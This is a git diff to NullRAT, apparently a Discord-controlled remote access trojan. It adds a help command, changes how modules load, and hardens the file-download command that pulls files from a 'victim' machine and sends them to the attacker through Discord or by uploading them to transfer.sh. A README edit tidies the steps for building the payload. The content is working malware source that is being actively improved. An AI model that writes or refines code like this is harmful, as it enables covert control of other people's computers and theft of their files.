diff --git a/NullRAT/RAT.py b/NullRAT/RAT.py
index 4d16c2f..b08b061 100644
--- a/NullRAT/RAT.py
+++ b/NullRAT/RAT.py
@@ -144,7 +144,7 @@ async def shutdown(ctx, victim):
     ----------
     victim: Identifier of the affected computer (found via /listvictims)
     """
-    if valid(victim):
+    if ctx.bot.valid(victim):
         await ctx.response.send_message(
             embed=client.genEmbed(
                 "Shutting down NullRAT for **" + rererere + "**...",
@@ -160,6 +160,23 @@ async def shutdown_all(ctx):
     await ctx.response.send_message("Are you sure?", view=closeall_confirm())
 
 
+@client.slash_command(name="help")
+async def help_command(ctx):
+    """Displays all available commands and their descriptions"""
+
+    embed = client.genEmbed("Available commands", datetime.now())
+    for cmd in sorted(ctx.bot.slash_commands.values(), key=lambda c: c.name):
+        if cmd.name == "help":
+            continue
+        embed.add_field(
+            name=f"/{cmd.name}",
+            value=cmd.description or "No description provided.",
+            inline=False,
+        )
+
+    await ctx.response.send_message(embed=embed)
+
+
 # > shutdown class
 
 
@@ -217,11 +234,7 @@ async def second_button_callback(self, button, interaction):
 )
 
 for ex in extensions:
-    ## For debugging
-    # client.load_extension("modules."+ex)
-
-    ## For production
-    client.load_extension(ex)
+    client.load_extension(f"modules.{ex}")
 
 
 # > <start>
diff --git a/NullRAT/modules/__init__.py b/NullRAT/modules/__init__.py
new file mode 100644
index 0000000..dc32f11
--- /dev/null
+++ b/NullRAT/modules/__init__.py
@@ -0,0 +1 @@
+"""Module package for NullRAT extensions."""
diff --git a/NullRAT/modules/receiveFile.py b/NullRAT/modules/receiveFile.py
index edf002e..e4ade27 100644
--- a/NullRAT/modules/receiveFile.py
+++ b/NullRAT/modules/receiveFile.py
@@ -25,8 +25,8 @@ async def file_download(self, ctx, victim, file_path):
             if '"' in file_path:
                 file_path = file_path.replace('"', "")
             try:
-                f = open(file_path, "rb")
-            except:  # noqa: E722
+                file_size = os.path.getsize(file_path)
+            except OSError:
                 return await ctx.followup.send(
                     embed=self.bot.genEmbed(
                         "File was not found!",
@@ -35,28 +35,57 @@ async def file_download(self, ctx, victim, file_path):
                     )
                 )
 
-            if os.path.getsize(file_path) < 8388608:
-                return await ctx.followup.send(
-                    embed=self.bot.genEmbed(
-                        "Received file from victim", datetime.now()
-                    ),
-                    file=discord.File(file_path),
-                )
+            if file_size < 8388608:
+                try:
+                    with open(file_path, "rb") as f:
+                        return await ctx.followup.send(
+                            embed=self.bot.genEmbed(
+                                "Received file from victim", datetime.now()
+                            ),
+                            file=discord.File(
+                                f, os.path.basename(file_path)
+                            ),
+                        )
+                except OSError:
+                    return await ctx.followup.send(
+                        embed=self.bot.genEmbed(
+                            "File was not found!",
+                            datetime.now(),
+                            "Please specify a different path and try again",
+                        )
+                    )
 
-            file = {"{}".format(file_path): f}
-            response = requests.post("https://transfer.sh/", files=file)
-            download_link = response.content.decode("utf-8")
-            deletion_token = response.headers.get("X-Url-Delete")
+            try:
+                with open(file_path, "rb") as f:
+                    file = {"{}".format(file_path): f}
+                    response = requests.post(
+                        "https://transfer.sh/", files=file
+                    )
+                download_link = response.content.decode("utf-8")
+                deletion_token = response.headers.get("X-Url-Delete")
 
-            deletion_token = deletion_token.replace(download_link.rstrip() + "/", "")
+                deletion_token = deletion_token.replace(
+                    download_link.rstrip() + "/", ""
+                )
 
-            await ctx.followup.send(
-                embed=self.bot.genEmbed(
-                    "Received file from victim",
-                    datetime.now(),
-                    "Link:\n" + download_link + "\nDeletion token:\n" + deletion_token,
+                await ctx.followup.send(
+                    embed=self.bot.genEmbed(
+                        "Received file from victim",
+                        datetime.now(),
+                        "Link:\n"
+                        + download_link
+                        + "\nDeletion token:\n"
+                        + deletion_token,
+                    )
+                )
+            except OSError:
+                await ctx.followup.send(
+                    embed=self.bot.genEmbed(
+                        "File was not found!",
+                        datetime.now(),
+                        "Please specify a different path and try again",
+                    )
                 )
-            )
 
 
 def setup(bot: commands.Bot):
diff --git a/NullRAT/modules/screenshot.py b/NullRAT/modules/screenshot.py
index 9ac94ed..ca6ece0 100644
--- a/NullRAT/modules/screenshot.py
+++ b/NullRAT/modules/screenshot.py
@@ -12,7 +12,7 @@ def __init__(self, bot: commands.Bot):
 
     @commands.slash_command()
     async def get_screenshot(self, ctx, victim):
-        """Sends screenshot of entire monitor
+        """Sends screenshot of the primary monitor
 
         Parameters
         ----------
diff --git a/README.md b/README.md
index c499e6b..b59e890 100644
--- a/README.md
+++ b/README.md
@@ -87,13 +87,13 @@
 
 #### Preparation:
 
-- Create a Discord Bot and [get it's token](https://github.com/NullCode1337/NullRAT/blob/source/Getting%20Variables.md#discord-bot-token)
+- Create a Discord Bot and [get its token](https://github.com/NullCode1337/NullRAT/blob/source/Getting%20Variables.md#discord-bot-token)
 - [Create a bot invite link](https://github.com/NullCode1337/NullRAT/blob/source/Getting%20Variables.md#proper-bot-invite-link) and add it to your server
 - Store the [Notification ID](https://github.com/NullCode1337/NullRAT/blob/source/Getting%20Variables.md#channel-id) and [Server ID](https://github.com/NullCode1337/NullRAT/blob/source/Getting%20Variables.md#server-ids) along with the token for ease of access
 
 #### Steps:
 
-1. Dowload the latest release of NullRAT (recommended) [**git clone**/**download zip** are no longer supported]
+1. Download the latest release of NullRAT (recommended) [**git clone**/**download zip** are no longer supported]
 2. Run the Compiler and follow the prompts. NullRAT payload will be right there!
 
 - **Video tutorial:** Soon